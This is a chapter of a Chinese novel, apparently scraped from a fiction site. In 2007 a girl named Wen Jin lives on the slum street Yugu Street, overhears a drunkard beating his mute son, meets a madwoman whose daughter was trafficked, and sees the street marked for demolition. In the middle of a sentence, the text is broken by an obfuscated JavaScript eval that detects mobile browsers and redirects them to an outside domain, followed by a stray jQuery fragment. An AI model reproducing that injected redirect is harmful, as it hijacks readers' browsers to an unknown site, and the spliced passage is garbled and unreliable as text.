2007年。
蔚城,鱼骨街。
鱼骨街不是普通的大街。
房屋零次错落,像老叟嘴里一口歪斜的烂牙。
房挤房,楼压楼,排排筒子楼互相临轧着,严严实实挡掉了日头。
风涌过筒子楼,像是被覆上了一层过期的猪油,黏黏糊糊往人脸上扑,温瑾用力抹了把汗。
房间里,老旧风扇正发出咔吱咔吱的异响。
收音机在播放西游记,说那顽猴破石而出,闹天宫,取真假,历经九九八十一难……
而门外,咒骂不歇。
温瑾搬了把木凳当桌子,守着风扇席地而坐。
她将两肘倚在凳上,把声音调大了些、又调大了些,妄图盖过门外的咒骂。
砰一声,被打的人像个出不了声的肉袋,温瑾听得身体一激灵,起身拉出一道门缝,眯着眼瞄起了门外的景象。
少年约莫十五六岁,背上的皮快要兜不住骨头,此刻,他手正以一个极其古怪的姿势反撑在地上,落魄得像条奄奄一息的渔村狗。
温瑾正看得心惊,忽而,少年回头,乌黑瞳孔与她遽然相对。
墙面斑驳、旧廊狭窄,而他那双眼睛,纵使凶恶,瞳孔却是晶亮的,异常干净。
-
程春湘早早说过,隔壁住了一对父子,当爹的酗酒,儿子则是个惯偷。
有好几次,被偷了的苦主找上门来,那酒鬼爹没钱赔,二话不说就抄起家伙,把自家儿子打得半死不活。
这天入夜,温瑾做了个噩梦,梦里都有一个半跪于地的少年。
他跪在指指点点的人群之中,血迹斑斑,不声不吭,那双携满仇恨的凶恶眼睛,无差别扫向了每一个人。
翌日清晨,程春湘是摔门而出的,她走时,温瑾面无表情抬起头,见桌上多了几张打发她出门解决早饭的零钱。
趿拉着拖鞋起了床,温瑾把钱塞进贴身的旧钱包,在夹层里翻出了一张老照片。照片里,脸蛋红红的小女孩和外婆手牵着手,怀里还抱着只皱巴巴的小狗布偶。
照片底下是老人家用钢笔手写的小字,簪花小楷一笔一画,娟秀至极:摄于七月二十三日,小瑾生日。
七月二十三。
就是今天。
门外,醉鬼骂骂咧咧的胡言乱语再一次响起,温瑾立刻找出了收音机开始搜索电台,想把对面的动静隔绝于耳后。
程春湘平日里的娱乐活动只有麻将,家里的电视从不交收视费,因而,在这一漫长到趋于无聊的暑假里,温瑾早已习惯抱着一个收音机自说自话。
说那齐天大圣被如来佛祖镇于五行山下以定猿心。
日升月落,斗转星移,达五百年……
忽而,涓流般的女声戛然止住,隔壁的打骂声开始重新占据上风。
那个结实的木凳就是酒鬼的武器,温瑾被迫听着,心里明白,声音稍闷一些的动静,是砸到肉,稍脆一些的,则是砸到了骨头。
轰!
忽然间,一声巨响,有什么重物被摔成了两半,温瑾浑身一激灵,牙关咬出了咯楞咯楞的声响。
她起身上前,再次拉出一道门缝,动作越发小心谨慎。
可这一次,和以往不同,酒鬼破天荒关起了门。
门被关着,脑海里的想象却越发清晰。
温瑾踏出一步,放轻动静将门关上,临走时,想起程春湘曾斜睨着对面少年、嫌恶十足吐出口的那两个字,惯偷,心一颤,忙不迭拿出钥匙,给家里的门打了个反锁。
-
鱼骨街不单只一条长街,而是一片筒子楼密布的聚落。
中轴一条长路,各排楼沿着轴线向两侧排布开来,歪歪斜斜长短不一,和名字一般形如鱼骨。
温瑾打算去的小卖部,就在鱼骨街东头。
去时,她紧紧攥着手里的钱包,还没走到地方,角落里突然冲出了一个黑影,陡然间,温瑾想起梦中那双凶恶的眼睛,吓得连退几步,后背严严实实撞上了墙。
抬起头,眼前却不是尚不知道名字的少年,而是一个完全陌生的女人。
女人双眼赤红满是血丝、嘴唇干裂得已经破了皮,眼球则有些夸张地鼓突着,十足吓人。
看清她的模样,温瑾心跳骤快,拔腿就跑向了不远处的小卖部。
小卖部老板见温瑾额上冒汗,起身往后扫了一眼:“怕什么?这疯婆娘不吃人的,她跟着你,是怕你被人抢了去。”
被人抢了去?
温瑾回望一眼,只见那女人亦步亦趋,起了皮的嘴唇正一翕一合,不知念念有词咕哝着什么。
老板淡淡开口:“这女人也是可怜,闺女被人贩子拐走后,她找了几年没找到,眼看着,人就疯了。”
疯了?
温瑾听着却更害怕了。
鱼骨街就是这样。
疯的、傻的、痴的……什么样的人都有。
这地方就像是馊烂的鱼骨,腐坏、带刺,充斥着酒鬼、赌徒、各式各样刑满释放人员,和那些灰头土脸在生活里碰壁的人。
“买什么?”
“收音机电池。”
“几号电池?”
“5号。”
怀揣着几节电池,温瑾心事重重。
她不想回家,既讨厌那铺天盖地的酒气,也讨厌身临其境般听见酒鬼打儿子的动静,绕着小卖部流连了好几圈,才终于不情不愿往家赶。
回到家时,她竟破天荒看见了提早赶回家的程春湘。
而楼下不止有程春湘,还围了不少人,眼里无一例外闪着兴奋的光。
看见温瑾,程春湘几步上前,一把拽住了她,示意她看一眼不远处的墙面。
“快看!鱼骨街终于有盼头了!”
温瑾被程春湘拽得一个踉跄,抬头一看,只见有人提着一桶红漆,在斑驳的墙面上画了一个大大的红圈,紧接着,一笔一画写下了一个“拆”字。
-
鱼骨街就像颗坏掉的龋齿,突兀扎在了城南的土地上。
这些年里,窄巷间也不是没有传出过拆迁的消息。
只是消息太多,虚虚实实,纵使钻进家家户户的饭桌,裹上呛鼻的油烟,被人们一鼻子一眼描述得像是成了真,那一把定音的锤子却虚虚悬着,自始至终都没砸下去。
传到后来,消息被咀嚼成了没有油水的烂腌菜,住在这里的人们,都开始变得波澜不惊,默认自己没那种命。
可那一个拆字却写得煞有其事。
提着油漆桶的人把字一写完,就从怀里拿出了告示,认认真真贴上了墙。
程春湘朝那告示看了许久,一回到家就不停歇地打起了电话。
第一通电话,她打给了年过七旬的老房东,满面堆笑地问人家,之前说过想把这房子转手给自己,现如今还算不算数?
不多时,一通电话结束,她嘴角的笑一敛,一边恶狠狠咒骂那房东是个老不死的,一边又利落打给了麻将桌上的另几个牌友。
“有消息了么?每家每户能分多少钱?”
“三十万!?这么多!?”
程春湘腾一下站了起来。
而温瑾头都没抬,专心摆弄着收音机里的旧电池。
收音机坏了,换了对新电池
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996318|178185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不管用,今晚没有说书栏目作陪,隔壁的动静却一天更比一天大了,温瑾光是想象那情景都有些难捱。
每一次,听见隔壁酒鬼恶狠狠咒骂儿子的声音、听见他轰隆作响砸东西的声音,温瑾都觉得他不费吹灰之力就能跨进门来,也给她一个瓷实的巴掌。
-
晚间,对面发酒疯的动静准时响起,温瑾拿起遥控打开电视,把声音调到了满格。
电视一开,呲呲作响的雪花点噪音一涌而进,像把筛网一般,筛走了过于清晰的现实余音。
这些时日,被打的少年一直很安静,甚至安静到了有些诡异的地步。
温瑾不由自主起身,朝紧闭的大门走了过去,而就在这时,急如暴雨的敲门声突然响起,吓得温瑾身体一僵,陡然定在了原地。
“愣着干嘛!开门啊!”
是程春湘。
温瑾呼出一口长气,三步并两步开了门。
门开后,程春湘却没立即走进来,而是侧着身子,睨向了对面半遮不掩的房门。
“啧!一天天往死里喝!”
“从天而降三十万还不晓得惜命?”她边冷笑边嘀咕,“喝醉了还嚷嚷要讨媳妇,简直异想天开!”
说着,她整个人一激灵,嘴角忽然小幅度抽了抽,紧接着,喉间溢出了半截黄梅小调。
“来来来,我与你洗尘又接风。”
“茶未喝,酒未饮,满面春风。”
哼着曲儿,她慢吞吞挪到镜子边,要笑不笑地理了理鬓角,拿上衣服去冲了个澡。
程春湘那模样神神秘秘的,像有些窃喜,又像有些忸怩,没来由透出了一股怪异。
温瑾弄不懂她在想什么,快速扫了眼时间,已近22:00,再过2小时,她14岁的第一天就将这么平平无奇地结束了。
“干什么又在对着收音机发呆?去!带两瓶酒上来!”
毫无预兆的,洗完澡,程春湘忽然往温瑾手里塞了几张钱。
“酒?”
这个点儿,鱼骨街早已漆黑一片,大晚上的,怎么突然让她出门买酒?
温瑾心里犯怵,可见程春湘不觉有任何不妥,一颗心一颤,赌气般攥紧了手里的钱,头也不回地开始往楼下跑。
“你好端端又发哪门子脾气?”
身后,程春湘的喝问声越来越远,而温瑾刚跑出楼洞没几步,竟就又看见了那个疯女人。
夜色里,似痴似笑的疯女人不知正手舞足蹈地比划着什么,简直像上演着一出鬼片。
见了她,温瑾嗓子一紧,只敢贴着墙往前走。
走出几步,温瑾听见身后有动静传来,一回头看见来人是谁,吃了一惊。
是他,十分钟前被酒鬼打得半死不活的少年。
而这一刻,他胳膊晃得极不自然,一看就是脱了臼。
而温瑾一看向少年,少年突然就停下了步伐,紧接着,慢吞吞贴着墙蹲了下去。
他蹲成了地上的一团黑影,和夜幕下的砖墙严丝密合,像是恨不能把自己砌进墙里。
又过了几秒,疯女人突然朝少年走去,幸灾乐祸般咯咯直笑,无情嘲笑起了他的狼狈。
少年有些烦躁,低着头朝疯女人比了个手势,看样子,似乎是让她滚远点儿。
而不知怎的,疯女人一回头,眼神一对上温瑾视线,整个人就像人来疯似的,忽然激动了不少。
少年挥手让她滚,她却偏不,反而凑上去和他说起了话。
她那说话声沙哑,仿佛是从肺里憋出来的,听得人无端心惊。
温瑾清楚地听见,疯女人管少年叫哑巴。